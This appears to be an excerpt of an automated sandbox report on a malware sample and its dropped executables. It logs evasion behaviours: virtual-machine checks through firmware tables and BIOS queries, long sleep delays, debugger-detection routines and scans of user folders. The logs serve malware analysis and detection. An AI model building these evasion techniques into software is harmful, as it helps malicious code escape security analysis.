Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

5_2_006EB0A0

Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Window / User API: threadDelayed 486			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Window / User API: threadDelayed 431			Jump to behavior

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	API coverage: 6.8 %
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	API coverage: 6.2 %

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe TID: 5164	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 1804	Thread sleep count: 486 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 1804	Thread sleep time: -486000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 2724	Thread sleep count: 254 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 2724	Thread sleep time: -15240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 2724	Thread sleep time: -119996s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 4144	Thread sleep count: 431 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 4144	Thread sleep time: -431000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 2724	Thread sleep time: -59997s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe TID: 2724	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe TID: 3300	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe TID: 3300	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe TID: 9444	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe TID: 9444	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EEDC7 FindClose,FindFirstFileExW,GetLastError,	5_2_006EEDC7
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EEEA3 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	5_2_006EEEA3
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EEDE7 FindFirstFileExW,	5_2_006EEDE7
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_00216ABC GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	6_2_00216ABC
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DEDC7 FindClose,FindFirstFileExW,GetLastError,	7_2_012DEDC7
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DEDE7 FindFirstFileExW,	7_2_012DEDE7
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DEEA3 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	7_2_012DEEA3

Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Thread delayed: delay time: 59998	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Thread delayed: delay time: 59997	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Thread delayed: delay time: 60000

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: T4qO1i2Jav.exe, 00000000.00000003.2042741496.00000000040E7000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2047163286.0000000004027000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2044952290.0000000004029000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2046029642.0000000004227000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2043386322.0000000004020000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2048776472.000000000415E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2043307715.00000000041C9000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2042256788.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2038986276.0000000003861000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2043248430.00000000040F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qwerfadsadsf dagfdshghgfsf
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM)
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792859542.0000000000986000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2085608290.0000000000982000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: T4qO1i2Jav.exe, 00000000.00000003.1933853491.0000000004712000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: EVmcIc
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792859542.0000000000986000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2085608290.0000000000982000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.000000000132E000.00000004.00000020.00020000.00000000.sdmp, hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ie_to_edge_stub.exe, 0000001B.00000002.2332113533.000002C60F413000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: T4qO1i2Jav.exe, 00000000.00000002.2085608290.000000000091E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: T4qO1i2Jav.exe, 00000000.00000003.2042741496.00000000040E7000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2047163286.0000000004027000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2044952290.0000000004029000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2046029642.0000000004227000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2043386322.0000000004020000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2048776472.000000000415E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2043307715.00000000041C9000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2042256788.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2038986276.0000000003861000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2043248430.00000000040F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dmfnmhs qwerfadsadsf dagfdshghgfsf
Source: VBJU2N3euXB4jMxu.exe, 00000019.00000002.2729035198.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp, YOB9kZKIRUqnzMwq.exe, 00000030.00000002.2790225589.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_008BB480 LdrInitializeThunk,

0_2_008BB480

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_000A1866 _strdup,free,IsDebuggerPresent,RaiseException,

0_2_000A1866

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

5_2_006EB0A0

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_0009DE7C GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

0_2_0009DE7C

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

Code function: 5_2_00707012 GetProcessHeap,

5_2_00707012

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00091127 Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,__initenv,exit,_cexit,	0_2_00091127
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006F122E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_006F122E
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006F13BA SetUnhandledExceptionFilter,	5_2_006F13BA
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006F05DA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_006F05DA
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006F4E93 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_006F4E93
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F81127 Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,__initenv,exit,_cexit,	5_2_00F81127
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F90734 RtlRemoveVectoredExceptionHandler,RtlAddVectoredExceptionHandler,TlsGetValue,CloseHandle,CloseHandle,CloseHandle,TlsSetValue,CloseHandle,CloseHandle,CloseHandle,	5_2_00F90734
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_00217834 SetUnhandledExceptionFilter,	6_2_00217834
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_0021A0E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0021A0E2
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_002176A8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_002176A8
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_00216ECA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00216ECA
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003B1127 Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,__initenv,exit,_cexit,	7_2_003B1127
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003C0734 RtlRemoveVectoredExceptionHandler,RtlAddVectoredExceptionHandler,TlsGetValue,CloseHandle,CloseHandle,CloseHandle,TlsSetValue,CloseHandle,CloseHandle,CloseHandle,	7_2_003C0734
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012E05DA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_012E05DA
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012E4E93 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_012E4E93
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012E13BA SetUnhandledExceptionFilter,	7_2_012E13BA
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012E122E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_012E122E

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_000EB240 cpuid

0_2_000EB240

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: EnumSystemLocalesW,	5_2_0070905F
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: EnumSystemLocalesW,	5_2_00709012
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: EnumSystemLocalesW,	5_2_00709014
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: EnumSystemLocalesW,	5_2_007090FA
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_00709185
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: GetLocaleInfoW,	5_2_007093D8
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_00709501
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: EnumSystemLocalesW,	5_2_00700509
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: GetLocaleInfoW,	5_2_00709607
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_007096DD
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: GetLocaleInfoEx,FormatMessageA,	5_2_006EE7F7
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: GetLocaleInfoW,	5_2_00700ACC
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: GetLocaleInfoEx,FormatMessageA,	6_2_00216988
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: EnumSystemLocalesW,	7_2_012F0509
